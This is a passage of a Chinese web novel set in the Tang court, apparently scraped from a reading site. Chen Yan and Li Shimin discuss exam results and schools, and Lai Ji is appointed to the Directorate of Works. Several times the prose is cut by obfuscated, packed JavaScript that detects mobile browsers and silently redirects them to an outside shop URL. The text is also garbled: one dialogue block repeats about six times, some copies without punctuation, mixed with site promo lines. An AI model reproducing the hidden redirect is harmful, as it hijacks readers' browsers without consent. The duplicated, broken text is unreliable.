行! 太子爷不愧是太子爷哈~ 李世民说得不错,陈衍他们确实快到了。 就在父子俩相顾无言的时候,就有宦官来报,陈衍和杜如晦等人来了。 “让他们进来吧。”李世民挥了挥手。 不多时,陈衍一行人轻车熟路地进来,本来想按例走完流程的,却发现李承乾在场,而且这父子俩气氛好像稍显怪异。 左右两边还跪着一排宫女宦官。 众人登时察觉了不对劲。 陈衍试探性道:“陛下,您今日吃了没?” “吃了,怎么了?”李世民面无表情道。 “吃了就好,我们今日过来,其实就是想问问陛下您吃了没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144781|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,关注一下您的身体健康,既然您吃了,那我们就走了哈。” 陈衍一边说着,一边悄悄地往后挪位置,真的想走了。 今天科举结果出来,来氏兄弟包揽进士前二,再想想自己前段时间跟李承乾说的话 哪怕用尉迟宝林的脑子思考,他都明白刚刚这里发生了什么。 这不赶紧溜之大吉,还留着吃饭呐? 房玄龄等人同样察觉了不对,这父子俩刚刚铁定是有事,纷纷出言附和陈衍。 连魏征都不例外。 今天的事吧.说重要也重要,说不重要其实就那么回事。 等下次再议,甚至等明天下朝之后再议都可以,不必急于一时。 李世民手上青筋鼓了一下,一字一句道:“但是朕没吃饱,请诸位宰相爷,国公爷,陪朕继续吃吧!” 众人:“.” 说是请,可李世民的话显然不容置疑。 陈衍心里暗自发苦,在李世民幽幽的目光中,耷拉着脑袋坐下来。 “怎么啦这是?国公爷?你看起来兴致不高啊?” 李世民眯了眯眼,“朕请你用膳,你好像很不乐意。” “.陛下,臣担不起您一句国公爷,叫我小陈就行.” 此话一出,杜如晦、房玄龄等人憋不住了,直接笑出了声。 连长孙无忌都乐呵了起来。 李世民眼角抽搐,心里长叹。 他怎么摊上这么个女婿呢? “算了算了,别废话了,坐下。”李世民不想继续扯了,端过旁边的茶盏,抿了口茶,给自己去去火。 “科举结果已经放榜,说说你们的想法吧。” 话落,众人的目光一致落在了陈衍身上。 实际上,今天除了来氏兄弟声名大噪,陈衍在他们这里更是不遑多让。 因为他们都清楚,来氏兄弟是陈衍培养出来的。 有那么多寒门子弟中榜,也是因为陈衍的图书馆。 李世民嘴唇微动,带着压着笑声的话音传出:“小陈,你说话呀!” 陈衍:“.” “.” 第596章 请陛下称陈爱卿! “.别闹了,行吗?” 陈衍苦着脸,“我年轻的小心脏经不起太多折腾,再说了,今天科举的结果那么好,陛下您应该高兴才是啊。” 李世民阴阳怪气道:“嗯,朕很高兴啊,你的至交好友,咱们大唐的太子爷,方才说来氏兄弟是你帮他培养出来的,找朕要人来着,朕确实应该高兴哈。” 陈衍:“.” 啧! 他扭头望了眼李承乾,后者四十五度角仰头看宫顶,仿佛没听到刚刚说的话一样。 陈衍顿时就无语了。 果然还是因为这些屁事。 长孙无忌失笑,站出来扯开了话题:“陛下,既然科举结果已经出来,那么您对中榜者有什么安排吗?” “工部.是不是该清算了?” 提起这个,李世民也无心在意那些小事了,沉思道:“清算是肯定要的,但不能一下子上去就全部换掉,否则的话工部很可能在一定时间内停止运转。” “再者,哪怕是来济,朕也不可能一下子将他提到太高的位置,这不符合规矩。” “主要先换工部吧,从下面一路慢慢换,朕要的是合理、平稳的职位交替。” “臣明白您的意思。”长孙无忌点点头。 他现在是吏部尚书,这些问题肯定需要多加关注。 具体看安排什么职位,还得待会仔细商量着来。 魏征此时开口道:“这些其实都是小事,慢慢解决就行,但此次的科举结果出乎了所有人的预料,同样证明了图书馆绝无仅有的重要性!” “陈尚书已经当着众人的面承诺,长安城今日会有五座图书馆开业,臣建议对这方面进行一些看管,时常关注各个图书馆的情况,以待培养更多的人才,准备下一次科举。” “哦?”李世民诧异道:“国公爷,你又当着众百姓的面放话了?今天同时五座图书馆开业?你把所有准备都做好了?” “是上次跟世家谈的那五座吗?” “他们不是刚答应跟你合作不久?” 陈衍点点头“他们确实刚答应跟我合作不久但实际上图书馆我早就开始选定位置开始修建、同时命令渭南县的工坊开始印刷书籍了。” “钱都是我自己先垫上的后来世家存钱的时候已经把这部分钱给了我。” “所以今天、或者明天‘大唐民报’便可以把消息宣传出去保证图书馆、以及未来科举的地位。” 听到这话李世民顿时了然。 他倒也不觉得意外陈衍做事向来走一步看三步提前有所准备并不奇怪。 而且扩建图书馆这件事 “其实吧”陈衍继续道:“我们现在的重心就不应该放在什么图书馆身上了。” “因为科举结果一出来图书馆的作用便无需质疑今后只要持续关注着就好了。” “我们现在应该做的是加强对孩童的培养而不是把注意力继续放在这些已经有向上台阶的学子身上。” 说着他顿了顿“想培养一个人最好的办法自然是从小开始培养。” “所以我认为我们目前在这方面要做的就是商讨出一个完善的培养方案扩建学堂尽量让稍有条件的百姓能送孩子读书让大家都有机会出人头地。” “如此一来大唐才能不断涌现出人才让我大唐经久不衰。” 众人细细琢磨了一下纷纷点头。 魏征沉吟道:“就好比你在渭南县扩建的学堂制定的制度一样吗?” “然后利用钱庄给有心想送孩子读书却无能为力的百姓提供一些帮助?” “这只是粗略的方法。”陈衍道:“对于孩童的培养我个人认为是重中之重对于孩童的培养方法一定要慎重、慎重、再慎重!” “其实颜家人已经注意到了这方面所以才会对我写的那几篇开智的文章相当重视。” 李世民忍不住点头。 确实颜家对这方面实在是太过重视了。 不过 李世民想到陈衍在渭南县干 的事头疼道:“你话别说得太轻松了你在渭南县开设的学堂朕知道那基本上全部是亏钱的而且亏的不少。” “渭南县身为一座小县城加上你给渭南县留下了很多持续收益。” “他们地方小人口不是特别多每年支出一笔钱财开设学堂没问题但如果面向整个大唐我们哪来那么多钱去培养孩子?” “你如今是户部尚书大唐有多少钱你难道心里没数吗?” 陈衍叹息道:“所以此事急不来我们可以从户部每年固定拿出一笔钱先在长安城内实施然后等我们渐渐做到了摊丁入亩的雏形加上大力发展大唐的税收上来了再慢慢往周边扩散。” “这注定不是一时半会可以做到的可能要持续好几代人不过我认为却是我们必须要坚持做的事!” 魏征闻言重重点头“陛下陈尚书所言在理臣附议!” 杜如晦附和道:“面向整个大唐固然难需要户部贴钱去开办学堂但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下做到这一点还是可以的。” “臣同样这般认为。”房玄龄道。 听到众大臣皆赞同李世民摸着下巴思索片刻“好就由你们五人先行商议等过后先拿出一个章程咱们再仔细深究这个问题。” 说着他淡淡瞥着陈衍 “再者这事本就是咱们国公爷提出来国公爷还是户部尚书。户部尚书都这样说了朕能有什么意见?” “有的陛下。”陈衍默默道:“此事如果是皇家跟户部共同来办的话由您的内帑出一部分钱咱们可以叫皇家学堂。” “如此一来天下都.” “陈衍!”李世民眼睛一瞪“你方才可不是这么说的!” “你说的是你户部每年固定出一份钱跟朕无关!” 陈衍干咳道:“臣这不是突然有了更好的想法而且对您有利吗?” “还有请陛下称陈爱卿!” 李世民:我尼玛! “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的事,头疼道:“你话别说得太轻松了,你在渭南县开设的学堂朕知道,那基本上全部是亏钱的,而且亏的不少。” “渭南县身为一座小县城,加上你给渭南县留下了很多持续收益。” “他们地方小,人口不是特别多,每年支出一笔钱财开设学堂没问题,但如果面向整个大唐,我们哪来那么多钱去培养孩子?” “你如今是户部尚书,大唐有多少钱你难道心里没数吗?” 陈衍叹息道:“所以此事急不来,我们可以从户部每年固定拿出一笔钱,先在长安城内实施,然后等我们渐渐做到了摊丁入亩的雏形,加上大力发展,大唐的税收上来了,再慢慢往周边扩散。” “这注定不是一时半会可以做到的,可能要持续好几代人,不过我认为却是我们必须要坚持做的事!” 魏征闻言重重点头,“陛下,陈尚书所言在理,臣附议!” 杜如晦附和道:“面向整个大唐固然难,需要户部贴钱去开办学堂,但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下,做到这一点还是可以的。” “臣同样这般认为。”房玄龄道。 听到众大臣皆赞同,李世民摸着下巴,思索片刻,“好,就由你们五人先行商议,等过后先拿出一个章程,咱们再仔细深究这个问题。” 说着,他淡淡瞥着陈衍,“反正是户部出钱,跟朕又没关系。” “再者,这事本就是咱们国公爷提出来,国公爷还是户部尚书。户部尚书都这样说了,朕能有什么意见?” “有的,陛下。”陈衍默默道:“此事如果是皇家跟户部共同来办的话,由您的内帑出一部分钱,咱们可以叫皇家学堂。” “如此一来,天下都.” “陈衍!”李世民眼睛一瞪,“你方才可不是这么说的!” “你说的是你户部每年固定出一份钱,跟朕无关!” 陈衍干咳道:“臣这不是突然有了更好的想法,而且对您有利吗?” “还有,请陛下称陈爱卿!” 李世民:我尼玛! “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的事头疼道:“你话别说得太轻松了你在渭南县开设的学堂朕知道那基本上全部是亏钱的而且亏的不少。” “渭南县身为一座小县城加上你给渭南县留下了很多持续收益。” “他们地方小人口不是特别多每年支出一笔钱财开设学堂没问题但如果面向整个大唐我们哪来那么多钱去培养孩子?” “你如今是户部尚书大唐有多少钱你难道心里没数吗?” 陈衍叹息道:“所以此事急不来我们可以从户部每年固定拿出一笔钱先在长安城内实施然后等我们渐渐做到了摊丁入亩的雏形加上大力发展大唐的税收上来了再慢慢往周边扩散。” “这注定不是一时半会可以做到的可能要持续好几代人不过我认为却是我们必须要坚持做的事!” 魏征闻言重重点头“陛下陈尚书所言在理臣附议!” 杜如晦附和道:“面向整个大唐固然难需要户部贴钱去开办学堂但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下做到这一点还是可以的。” “臣同样这般认为。”房玄龄道。 听到众大臣皆赞同李世民摸着下巴思索片刻“好就由你们五人先行商议等过后先拿出一个章程 说着他淡淡瞥着陈衍“反正是户部出钱跟朕又没关系。” “再者这事本就是咱们国公爷提出来国公爷还是户部尚书。户部尚书都这样说了朕能有什么意见?” “有的陛下。”陈衍默默道:“此事如果是皇家跟户部共同来办的话由您的内帑出一部分钱咱们可以叫皇家学堂。” “如此一来天下都.” “陈衍!”李世民眼睛一瞪“你方才可不是这么说的!” “你说的是你户部每年固定出一份钱跟朕无关!” 陈衍干咳道:“臣这不是突然有了更好的想法而且对您有利吗?” “还有请陛下称陈爱卿!” 李世民:我尼玛! “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的事,头疼道:“你话别说得太轻松了,你在渭南县开设的学堂朕知道,那基本上全部是亏钱的,而且亏的不少。” “渭南县身为一座小县城,加上你给渭南县留下了很多持续收益。” “他们地方小,人口不是特别多,每年支出一笔钱财开设学堂没问题,但如果面向整个大唐,我们哪来那么多钱去培养孩子?” “你如今是户部尚书,大唐有多少钱你难道心里没数吗?” 陈衍叹息道:“所以此事急不来,我们可以从户部每年固定拿出一笔钱,先在长安城内实施,然后等我们渐渐做到了摊丁入亩的雏形,加上大力发展,大唐的税收上来了,再慢慢往周边扩散。” “这注定不是一时半会可以做到的,可能要持续好几代人,不过我认为却是我们必须要坚持做的事!” 魏征闻言重重点头,“陛下,陈尚书所言在理,臣附议!” 杜如晦附和道:“面向整个大唐固然难,需要户部贴钱去开办学堂,但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下,做到这一点还是可以的。” “臣同样这般认为。”房玄龄道。 听到众大臣皆赞同,李世民摸着下巴,思索片刻,“好,就由你们五人先行商议,等过后先拿出一个章程,咱们再仔细深究这个问题。” 说着,他淡淡瞥着陈衍,“反正是户部出钱,跟朕又没关系。” “再者,这事本就是咱们国公爷提出来,国公爷还是户部尚书。户部尚书都这样说了,朕能有什么意见?” “有的,陛下。”陈衍默默道:“此事如果是皇家跟户部共同来办的话,由您的内帑出一部分钱,咱们可以叫皇家学堂。” “如此一来,天下都.” “陈衍!”李世民眼睛一瞪,“你方才可不是这么说的!” “你说的是你户部每年固定出一份钱,跟朕无关!” 陈衍干咳道:“臣这不是突然有了更好的想法,而且对您有利吗?” “还有,请陛下称陈爱卿!” 李世民: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144782|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我尼玛! “.” 你的朋友正在书荒,快去帮帮他吧 的事头疼道:“你话别说得太轻松了你在渭南县开设的学堂朕知道那基本上全部是亏钱的而且亏的不少。” “渭南县身为一座小县城加上你给渭南县留下了很多持续收益。” “他们地方小人口不是特别多每年支出一笔钱财开设学堂没问题但如果面向整个大唐我们哪来那么多钱去培养孩子?” “你如今是户部尚书大唐有多少钱你难道心里没数吗?” 陈衍叹息道:“所以此事急不来我们可以从户部每年固定拿出一笔钱先在长安城内实施然后等我们渐渐做到了摊丁入亩的雏形加上大力发展大唐的税收上来了再慢慢往周边扩散。” “这注定不是一时半会可以做到的可能要持续好几代人不过我认为却是我们必须要坚持做的事!” 魏征闻言重重点头“陛下陈尚书所言在理臣附议!” 杜如晦附和道:“面向整个大唐固然难需要户部贴钱去开办学堂但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下做到这一点还是可以的。” “臣同样这般认为。”房玄龄道。 听到众大臣皆赞同李世民摸着下巴思索片刻“好就由你们五人先行商议等过后先拿出一个章程咱们再仔细深究这个问题。” 说着他淡淡瞥着陈衍“反正是户部出钱跟朕又没关系。” “再者这事本就是咱们国公爷提出来国公爷还是户部尚书。户部尚书都这样说了朕能有什么意见?” “有的陛下。”陈衍默默道:“此事如果是皇家跟户部共同来办的话由您的内帑出一部分钱咱们可以叫皇家学堂。” “如此一来天下都.” “陈衍!”李世民眼睛一瞪 “你说的是你户部每年固定出一份钱跟朕无关!” 陈衍干咳道:“臣这不是突然有了更好的想法而且对您有利吗?” “还有请陛下称陈爱卿!” 李世民:我尼玛! “.” 你的朋友正在书荒,快去帮帮他吧 的事,头疼道:“你话别说得太轻松了,你在渭南县开设的学堂朕知道,那基本上全部是亏钱的,而且亏的不少。 “渭南县身为一座小县城,加上你给渭南县留下了很多持续收益。 “他们地方小,人口不是特别多,每年支出一笔钱财开设学堂没问题,但如果面向整个大唐,我们哪来那么多钱去培养孩子? “你如今是户部尚书,大唐有多少钱你难道心里没数吗? 陈衍叹息道:“所以此事急不来,我们可以从户部每年固定拿出一笔钱,先在长安城内实施,然后等我们渐渐做到了摊丁入亩的雏形,加上大力发展,大唐的税收上来了,再慢慢往周边扩散。 “这注定不是一时半会可以做到的,可能要持续好几代人,不过我认为却是我们必须要坚持做的事! 魏征闻言重重点头,“陛下,陈尚书所言在理,臣附议! 杜如晦附和道:“面向整个大唐固然难,需要户部贴钱去开办学堂,但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下,做到这一点还是可以的。 “臣同样这般认为。房玄龄道。 听到众大臣皆赞同,李世民摸着下巴,思索片刻,“好,就由你们五人先行商议,等过后先拿出一个章程,咱们再仔细深究这个问题。 说着,他淡淡瞥着陈衍,“反正是户部出钱,跟朕又没关系。 “再者,这事本就是咱们国公爷提出来,国公爷还是户部尚书。户部尚书都这样说了,朕能有什么意见? “有的,陛下。 “如此一来,天下都. “陈衍!李世民眼睛一瞪,“你方才可不是这么说的! “你说的是你户部每年固定出一份钱,跟朕无关! 陈衍干咳道:“臣这不是突然有了更好的想法,而且对您有利吗? “还有,请陛下称陈爱卿! 李世民:我尼玛! “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的事头疼道:“你话别说得太轻松了你在渭南县开设的学堂朕知道那基本上全部是亏钱的而且亏的不少。” “渭南县身为一座小县城加上你给渭南县留下了很多持续收益。” “他们地方小人口不是特别多每年支出一笔钱财开设学堂没问题但如果面向整个大唐我们哪来那么多钱去培养孩子?” “你如今是户部尚书大唐有多少钱你难道心里没数吗?” 陈衍叹息道:“所以此事急不来我们可以从户部每年固定拿出一笔钱先在长安城内实施然后等我们渐渐做到了摊丁入亩的雏形加上大力发展大唐的税收上来了再慢慢往周边扩散。” “这注定不是一时半会可以做到的可能要持续好几代人不过我认为却是我们必须要坚持做的事!” 魏征闻言重重点头 杜如晦附和道:“面向整个大唐固然难需要户部贴钱去开办学堂但如果开始仅仅只是在长安城内而且在钱庄隐隐支持下做到这一点还是可以的。” “臣同样这般认为。”房玄龄道。 听到众大臣皆赞同李世民摸着下巴思索片刻“好就由你们五人先行商议等过后先拿出一个章程咱们再仔细深究这个问题。” 说着他淡淡瞥着陈衍“反正是户部出钱跟朕又没关系。” “再者这事本就是咱们国公爷提出来国公爷还是户部尚书。户部尚书都这样说了朕能有什么意见?” “有的陛下。”陈衍默默道:“此事如果是皇家跟户部共同来办的话由您的内帑出一部分钱咱们可以叫皇家学堂。” “如此一来天下都.” “陈衍!”李世民眼睛一瞪“你方才可不是这么说的!” “你说的是你户部每年固定出一份钱跟朕无关!” 陈衍干咳道:“臣这不是突然有了更好的想法而且对您有利吗?” “还有请陛下称陈爱卿!” 李世民:我尼玛! “.” 你的朋友正在书荒,快去帮帮他吧 第597章 如今,攻守易势了 翌日,初升的东曦还未升起,天色微微泛亮。 陈衍跟诸多文武百官穿戴整齐,站在太极宫外。 今日的朝会跟以往不同,因为昨日科举放榜,被选**的众多学子会在今天一同面见李世民以及文武百官。 由李世民当众宣布名次。 这样的仪式在明清叫做‘传胪大典’,算是科举之后非常重要的一个盛会,如今的话也有类似的仪式。 很多官员都站得板正,等待着李世民召见入殿。 只有陈衍等人略显轻松,正在跟长孙无忌和魏征等人闲聊,时不时观察一下另一边**的众多学子。 “这两兄弟我其实有点印象,在当初考试的时候,我就觉得他们心态不错,面对那么多人盯着,未见丝毫慌乱之色,冷静地答题。”魏征说着有些感慨: “只是,让我没想到的是,他们两兄弟竟然夺得了进士头筹,把天下学子都压了下去,现在想想依然觉得不可思议。” 陈衍却有些尴尬了。 他真的很想说一句,面对宦官、吏部官员、禁卫盯着真的不算什么。 毕竟这两兄弟从前可是被程处默他们天天拿刀架在脖子上,一言不合就干他们。 对比这个,科举那点压力算个**啊! “哎,哎!” 这时,让陈衍没想到的是,已经官复原职的程咬金忽然凑了过来,拉着他往旁边走去。 陈衍没拒绝,似笑非笑地盯着他,“程老黑啊.你这是做什么?太极宫前拉拉扯扯的,成何体统?” 程咬金黑了脸,声音里隐隐透露出一丝威胁:“小子,你别太过分了,我手中可是握着你不少把柄,你若是不想让李丽质和高阳知晓,最好对我放尊重点。” “呵呵哒!”陈衍丝毫不慌,因为他已经大概猜到了程咬金今天的来意。 如今,两人彻底攻守易势了! “你别跟我扯这些有的没的,你有我的把柄不错,但说的好像你又是什么好东西,我手里没握着点消息一样。”他无所谓道: “我就这么跟你说吧你要敢跟高阳她们告状我保证崔伯母当天晚上就能挠死你。” 程咬金:“.” 彼其娘的这小子真的站起来了。 他暗骂一声语气软了下来“好大侄儿你这说的是什么话?” “你程伯伯是那种人吗?我希望你好还来不及呢怎么会去拱火让你的家庭不和睦呢?” “你说对不对?” 陈衍憋着笑“对对对您说得对。” 说完他顿了一下无奈道:“好了程伯伯有什么你说就行了别跟我扯这些了行吗?” “你难道还以为我是那个小时候被你弹雀雀丝毫没有反抗能力的小屁孩吗?” “别威胁我了哈~” “谁让你小时候老欺负我的叫你两句老黑你忍着得了。” 程咬金嘴角一抽不想再提及这个话题直言道:“小子我服了 “不知你上次说让处亮去科举这件事” 陈衍就知道是这样并不意外揶揄道:“怎么着?你不是不相信我吗?上次你还犹豫来着。” “怎么现在看你的意思似乎迫不及待想让我培养培养处亮了?” “这特么能一样吗?”程咬金下意识抬高声音然后立刻意识到这样太引人注目了。 不少人已经看了过来他又压低声音道:“现在谁不知道你仅仅花了一年不到的时间把两个家道中落的小子硬生生培养到了状元!” “那他娘可是状元啊!” “俺老程不奢求什么状元你若是能在十年之内让处亮考上一个进士.第三俺老程死后都能抬头挺胸地去面对列祖列宗了!” 陈衍听后翻了个白眼“说的好像处亮考不上你就不能抬头挺胸地去面对程家列祖列宗一样。” “这不一样啊”程咬金急了“你又不是不知道老程家一大家子武夫只会舞刀弄枪像是科举这种事我家祖坟冒青烟我都不敢想啊。” “你别看我们都 瞧不上那些文绉绉的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈衍领着户部的人慢慢走了进去,那些考中科举的学子略微有些激动地跟在后面。 就连来氏兄弟,此刻心情亦不能平静。 这不是他们第一次面见李世民了,毕竟这次李世民是主考官,同时他们还经历过殿试,由李世民亲自考验过。 但怎么说呢。 这次面圣跟上次已经不同了,上次他们还需要自称‘学生’,而今天,便需要自称‘臣’了。 一个小小的称呼转变,蕴含的意义却是截然不同的。 而今天跟往日常朝不同的是,此刻殿内摆满了案几,每一张案几的位置代表不同的地位! 李世民正端坐于最上方。 “臣等,参见陛下!” 文武百官统一行礼,李世民随意摆摆手,“诸爱卿平身。” “今日朕高兴,与诸爱卿同坐,入席吧。” “谢陛下。” 百官起身,然后按照各自的身份位置坐下。 以陈衍如今的地位,还有今日盛会不小的规模,他自然是单独一席,上面一点就是杜如晦等人,再上面就是李世民。 只是,与寻常人跪坐不同,陈衍随意地盘腿坐下。 很多人看到了这一幕,却什么都没说。 李世民淡淡扫了一眼,也没在意这点小事,望向下面还站着,没有入席的十五位中榜者。 “今年的科举结果大为出乎朕的预料,不仅咱们的状元郎是一位二十岁出头的少年,录取人数更是达到了十五人。” “远远超过了贞观元年的科举。” “这是一个很好的开始嘛,也是诸位爱卿与朕共同努力的结果。” “朕心甚慰啊。” 长孙无忌笑道:“陛下,此次科举,恰好证明了我们大唐已经渡过休养生息的阶段,迈入了欣欣向荣的阶段。这两年,不仅风调雨顺,百姓收成良好,粮食价格一降再降,科举更是给了所有人一个惊喜。” “一次性竟然选拔出了如此之多的人才更有来氏兄弟这样的奇才。不瞒陛下说臣恍惚间 “大唐.彻底进入兴盛阶段啦!” 一段话说出来在场的官员大部分都默然了。 是的! 其实他们也有跟长孙无忌差不多的想法。 回想起贞观初的那几年实在是步履维艰。 包括贞观四年的时候一场洪灾都引动了八百里加急。 明明才过去了一年多的时间众人却有一种过去了十多年的感觉。 期间真的发生了太多太多事大唐几乎以肉眼可见的速度在恢复、强盛! 如何不令人感到不可思议啊? 李世民淡淡笑了笑“好啦闲言少叙咱们金榜题名的诸多未来国家栋梁们该等着急了。” “你们上前来!” 后面一句话他是对着下面十五位学子说的。 在百官的注视下十五位学子慢慢走上前位于最前方的自然是来氏兄弟了。 从昨日起来恒、来济这两个名字已经彻底被长安城众人熟知。 加上‘大唐民报’的存在可以预想到接下来这两个名字还会被全天下人熟知。 李世民站起身从无舌手中拿过提前备好的名次排名当众宣布了来济为进士第一、来恒为进士第二。 至于第三是颜家的一位接近四十岁的人名叫颜童。 陈衍去颜家的时候跟这个人有过一面之缘。 当李世民宣布完名次颔首道:“科举只是入仕的台阶今后你们能走到哪一步还得看接下来的吏部考核。” “臣等明白。” 十五位学子恭敬回道。 这是正常的流程因为科举中榜之后只是获得做官的资格具体能做什么官还得看吏部的考核。 也就是杜构从前提到过的考虑个人形象、书法、口才等方面问题。 等通过了这些才会 由吏部安排官职。 一般是先从基层的官员做起。 像是状元,一般就是八品官,顶多七品了。 贞观元年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175385|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙伏伽就是如此。 只是跟其他基层官员不同的是,中榜者的前途会好太多。 继续拿孙伏伽举例,人家从贞观元年到现在,不过区区六年时间,已经官至三品。 这足以看出状元的含金量了。 就在大家以为,此事要落下帷幕,十五位学子该入席的时候,李世民开口了 “不过. 一句不过,顿时吸引了所有人的注意。 李世民淡淡道:“来济、来恒,朕在你们身上,隐隐看到了另一个人的影子。 “纵使你们比不过他,但按照规矩,完成这些繁琐的流程,一点点积累经验,未免有些大材小用。 此话一出口,百官的神色顿时变得微妙起来。 特别是光禄寺卿窦诞,他目光下意识地瞥向了那个盘坐在案前的陈衍,心里满是不服。 谁都清楚李世民说的是谁。 因为在二十岁的年纪考上状元,只隐隐有那人一丝影子,除了陈衍这位十八岁入仕,二十岁坐稳户部尚书一职的妖孽,还能有谁? 陈衍啧了声,出言给李世民一个台阶:“陛下认为该如何呢? “朕啊?李世民翘了翘嘴角,“朕其实没怎么想好,不如陈爱卿来说说? “你们都是年轻人,他们两个仅比你大个一两岁,更重要的是这两人是你亲自栽培出来的。 “你认为,如何安排他们为好呢? 陈衍无语。 没想到李世民又把话题抛了回来。 看来,是打定主意要因为昨天的事小小地报复一下,让自己来做这个恶人了。 “臣觉得吧,特殊时期,应当采用特殊方法,对于来氏兄弟这样的特殊人才,我们应当给予一些优待。 “去年,工部因为某些问题,其内部结构存在很大的弊端,不如,就让来济去工部吧。 随着陈衍的话出口,本就一直生活在心惊胆战中的工部官员悬着的心彻底**。 他们清楚。 接下来等待他们的,就是迟来的审判! “. 第599章 将作监丞 自去年起,工部被爆出****,连没有**的工部尚书都被革职。 然而,让大家没想到的是,那些**的官员却一点事都没有,李世民好似忘了他们,对他们不管不问。 但谁都明白,李世民可能只是为了大局着想,为了朝堂稳定,所以才会做出如此选择。 ****的事已经爆出来,李世民就不可能对他们置之不理。 悬在头顶的剑,终有一天要斩落下来的。 如今,这一天怕是要来了。 不少官员此刻都明白了过来,看向工部的官员流露出幸灾乐祸之色。 难怪今年的科举录取人数达到了十五人,远远超出以往科举的录取人数。 原来都是为了清理工部而准备的啊。 “工部.?” 李世民扬了扬眉,淡淡扫了眼工部的众官员,似笑非笑道:“那陈爱卿觉得,给来济安排个什么位置比较合适?” “从几品官开始做起呢?” 陈衍沉吟道:“臣先前便说过,特殊时期,应当采用特殊的方法,工部的情况诸位皆知,依臣所见,就不要循规蹈矩了,不如.让来济先从‘将作监丞’做起吧。” 将作监丞? 听到陈衍的话,所有人都是一愣。 不是因为陈衍说得太高,而是太低了。 将作监丞,只是一个小小的七品下官职啊 不对! 众多官员反应了过来,将作监丞看似只是一个小小的七品下,但手中的权势并不小。 贞观年间虽提倡节俭,但皇城、陵寝、官署的营造从未停止。 而且将作监丞直接主持长安、洛阳两京的皇家工程,直接受到皇帝或宰相指派! 此类官员手握巨资、调配万匠,看似品级不高,实则很多高官都不愿意轻易得罪。 倘若来济来做这个将作监丞,不仅工部的官员很难管到,一旦工部继续出现什么**的问题,很可能被直接发现。 这是直接在工部钉入 了一颗钉子啊。 毕竟,来氏兄弟放榜当日,当众对着陈衍作揖感谢,谁都清楚他们是陈衍培养出来的人。 而陈衍又是李世民的坚定支持者. 想清楚这一点,部分早就看工部官员不爽的官员心中暗自发笑。 如果所料不错的话,李世民和陈衍应该是想从工部基层开始,一点点开始抽骨换血了。 “将作监丞.”李世民思索片刻,含笑道:“那好像并未逾越礼制嘛!” “将作监丞只是一个七品下官职,按照常理,通过科举的进士榜首,担任七品上官职都能说得过去。” “七品下不过分啊!” 李世民环顾众臣:“诸位爱卿怎么看?” 魏征拱手道:“陛下所言在理,不过其实进士榜首一开始便担任七品上的官职,属于理想情况,通常只为八品。” “陈尚书说特殊时期,采用特殊方法,臣是认可的,将作监丞是一个很合适的位置,七品下的官职,又位于两点中间,确实算不上逾越,故此,臣附议!” “辅机,你是吏部尚书,你怎么看?”李世民又问。 长孙无忌道:“回陛下,臣其实也是这样想的,将作监丞看似品阶不高,实则很考验一个人的能力,将来济放在这个位置,臣认为可以。” 李世民微微颔首,扭头看向了不怎么说话的王珪,“王爱卿,如今工部由你掌管,你认可方才几位爱卿的话吗?” 王珪那叫一个心累。 自己都他娘建好了‘文明殿’,已经发挥了朝堂以及自己身份的最后余热,现在就等着退休了,还问自己干什么? 他言简意赅道:“臣无异议!” “那就这么决定下来吧。”李世民一锤定音,重新坐下来,望着来济道:“来济,朕打算采纳诸位大臣的提议,任命你为工部将作监丞,希望你莫要辜负朕与诸位大臣们的期待!” 来济郑重应下来,“回陛下,臣必不负陛下与诸位大人的一片苦心。臣唯一能跟陛下与诸位大人保证的是,臣不管担任任何官职,做任 